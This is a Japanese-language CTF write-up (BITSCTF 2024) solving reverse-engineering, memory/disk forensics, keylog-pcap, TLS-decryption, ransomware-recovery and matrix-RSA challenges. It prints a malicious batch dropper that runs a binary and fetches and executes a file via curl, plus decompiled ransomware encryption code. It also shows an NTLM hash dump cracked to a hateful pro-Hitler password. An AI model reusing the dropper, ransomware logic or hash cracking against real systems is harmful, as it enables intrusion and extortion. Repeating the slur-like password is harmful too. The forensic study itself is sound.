BITSCTF 2024 Writeup

この大会は2024/2/16 3:30(JST)~2024/2/18 3:30(JST)に開催されました。
今回もチームで参戦。結果は2679点で921チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

BITSCTF{w3Lc0mE_70_BITSCTF-2024}

baby-rev (REV)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter a string: ");
  fgets(local_38,0x20,stdin);
  sVar1 = strlen(local_38);
  if (sVar1 == 0x18) {
    myfunc(local_38);
  }
  else {
    puts(":P\n");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void myfunc(char *param_1)

{
  if (*param_1 == 'B') {
    if (((((((param_1[4] == 'C') && (param_1[0xd] == 'm')) && (param_1[0x13] == 'r')) &&
          (((param_1[3] == 'S' && (param_1[10] == 'l')) &&
           ((param_1[2] == 'T' && ((param_1[0xe] == 'e' && (param_1[0x11] == '0')))))))) &&
         ((param_1[0x16] == '}' &&
          (((param_1[7] == '{' && (param_1[5] == 'T')) && (param_1[0xf] == '_')))))) &&
        (((param_1[1] == 'I' && (param_1[0x15] == 'v')) &&
         (((param_1[8] == 'w' && ((param_1[0xb] == 'c' && (param_1[6] == 'F')))) &&
          (param_1[0x14] == '3')))))) &&
       ((((param_1[9] == '3' && (param_1[0xc] == '0')) && (param_1[0x10] == 't')) &&
        (param_1[0x12] == '_')))) {
      puts("Yippee :3\n");
    }
  }
  else {
    puts(":PP\n");
  }
  return;
}

このコードから入力文字列の長さは改行を含め24バイトで、myfuncの各インデックスごとのチェックを満たすものということがわかる。

          1111111111222
01234567890123456789012
BITSCTF{w3lc0me_t0_r3v}
BITSCTF{w3lc0me_t0_r3v}

Intro to DFIR (DFIR)

問題にフラグが書いてあった。

BITSCTF{DFIR_r0ck55}

Access Granted! (DFIR)

$ python3 vol.py -f memdump.mem windows.info
        :
        :
Kernel Base	0xf80611800000
DTB	0x1aa000
Symbols	file:///home/ctf/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 FileLayer
KdVersionBlock	0xf8061240f400
Major/Minor	15.19041
MachineType	34404
KeNumberProcessors	4
SystemTime	2024-02-15 16:37:18
NtSystemRoot	C:\Windows
NtProductType	NtProductWinNt
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Mon Dec  9 11:07:51 2019

$ python3 vol.py -f memdump.mem windows.hashdump
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                          
User	rid	lmhash	nthash

Administrator	500	aad3b435b51404eeaad3b435b51404ee	8a320467c7c22e321c3173e757194bb3
Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	aad3b435b51404eeaad3b435b51404ee	74d0db3c3f38778476a44ff9ce0aefe2
MogamBro	1000	aad3b435b51404eeaad3b435b51404ee	8a320467c7c22e321c3173e757194bb3

CrackStationで以下のNTLMハッシュをクラックする。

8a320467c7c22e321c3173e757194bb3

パスワードは以下であることがわかる。

adolfhitlerrulesallthepeople
BITSCTF{adolfhitlerrulesallthepeople}

0.69 Day (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\AppData\Roamingを見ると、WinRARフォルダがある。WinRARの脆弱性を調べると、以下のCVEが見つかった。

CVE-2023-38831
BITSCTF{CVE-2023-38831}

I'm wired in (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktopを見ると、keylog.pcapngがある。USBキーボードの入力をスキャンしたもののようなので、キー入力を読み取る。

#!/usr/bin/env python3
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('keylog.pcapng')

flag = ''
for p in packets:
    buf = p['Raw'].load
    if len(buf) == 35 and buf[29] != 0:
        if buf[27] == 0:
            flag += keymap[buf[29]][0]
        elif buf[27] == 2:
            flag += keymap[buf[29]][1]

print(flag)

実行結果は以下の通り。

I haveebeen haakee  !!!
HELLMEE
BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}

~ MogamBro

このフラグはダメだった。"-"を削除したら、通った。

BITSCTF{I_7h1nk_th3y_4Re_k3yl0991ng_ME!}

Bypassing Transport Layer (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktop\keysをエクスポートする。

このkeysはSSLKEYLOGFILEのようだ。

Wiresharkでtrace.pcapを開き、[編集]-[設定]を選択する。設定画面の[Protocols]-[TLS]を選択し、[(Pre)-Master-Secret log filename]にkeysのファイルパスを指定する。
これでTLS通信パケットを復号できる。パケット詳細を"BITSCTF"で検索すると、HTTP2の通信のNo.64663のパケットが引っかかる。該当するデータを見ると、以下のようになっている。

</div></li><li class="li1"><div class="de1">Anyways here's your flag - BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}</div></li></ol>        </div>\n
BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}

Lottery (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Downloadsを見ると、Follow-these-instructions.zipがあるので、エクスポートする。zipファイルを7zip File Managerで開き、steps.pdfフォルダ配下のsteps.pdf.batを見てみると、以下のように書いてある。

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
@echo off
lottery.exe & start chrome -incognito https://pastebin.com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf
exit

C:\Users\MogamBro\Downloadsにはlottery.exeもあるので、エクスポートする。バイナリエディタで見ると、Python製のexeのようなので、デコンパイルする。

$ python3 pyinstxtractor.py lottery.exe 
[+] Processing lottery.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 9008682 bytes
[+] Found 122 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: lottery.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: lottery.exe

You can now use a python decompiler on the pyc files within the extracted directory

$ pycdc lottery.exe_extracted/lottery.pyc 
# Source Generated with Decompyle++
# File: lottery.pyc (Python 3.8)

import os
import tempfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def generate_key():
    key = os.urandom(32)
    fp = tempfile.TemporaryFile('w+b', False, **('mode', 'delete'))
    fp.write(key)
    return key


def encrypt_file(file_path, key):
Unsupported opcode: BEGIN_FINALLY
    iv = b'urfuckedmogambro'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    key = generate_key()
    file_path = 'secret.png'
    encrypt_file(file_path, key)
    print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!')

keyは一時ファイルを作成し、削除はされていない。出力パスはC:\Users\MogamBro\AppData\Local\Temp配下でtmpから始まるファイル名のファイルになる。tmpd1tif_2aがあったので、エクスポートする。
C:\Users\MogamBro\Downloadsにsecret.png.encがあるので、エクスポートする。このファイルは暗号化されているが、keyは上記の一時ファイルにあり、ivもわかっているので、復号できる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

with open('secret.png.enc', 'rb') as f:
    enc = f.read()

with open('tmpd1tif_2a', 'rb') as f:
    key = f.read()

iv = b'urfuckedmogambro'

cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc)
pad = dec[-1]
assert dec[-pad:] == bytes([pad]) * pad
dec = dec[:-pad]

with open('secret.png', 'wb') as f:
    f.write(dec)

復号した画像にフラグが書いてあった。

BITSCTF{1_r3c3ived_7h3_b0mbz}

Baby RSA (CRYPTO)

行列のRSA暗号になっている。gがフラグを4分割した2×2の行列、cが暗号化後の行列、e = 65537とすると、以下のように暗号化されている。

g ** e = c mod n

nをfactordbで素因数分解する。

n = p * q
  = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409
  * 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423

c = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。modulo p だとジョルダン標準形が見つからないので、modulo q で計算する。

g * g * ... * g = P * J * inverse(P)
        ↓
(inverse(P) * g * P) ** e = J

Jの1行1列目と2行2列目を復号すると、inverse(P) * g * P = Qの値がわかる。この場合以下の式で表せ、gが算出できる。

g = P * Q * inverse(P)

qは1024ビットなので、フラグの長さの1/4より極度に大きいと推測できる。このままgの各要素を文字列にして結合すればフラグになりそう。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

with open('chall.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c00 = int(params[2])
c01 = int(params[3])
c10 = int(params[4])
c11 = int(params[5])

p = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409
q = 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423
assert n == p * q

cq = matrix(Zmod(q), [[c00, c01], [c10, c11]])

J, P = cq.jordan_form(transformation=True)
phi = q - 1
d = pow(e, -1, phi)
j00 = J[0][0]
j11 = J[1][1]
Q00 = pow(j00, d, q)
Q11 = pow(j11, d, q)
Q = matrix(Zmod(q), [[Q00, 0], [0, Q11]])

g = P * Q * ~P

flag = ''
for i in range(2):
    for j in range(2):
        flag += long_to_bytes(int(g[i][j])).decode()
print(flag)
BITSCTF{63N3r41_11N34r_6r0UP_C4ND0_4NY7H1N6}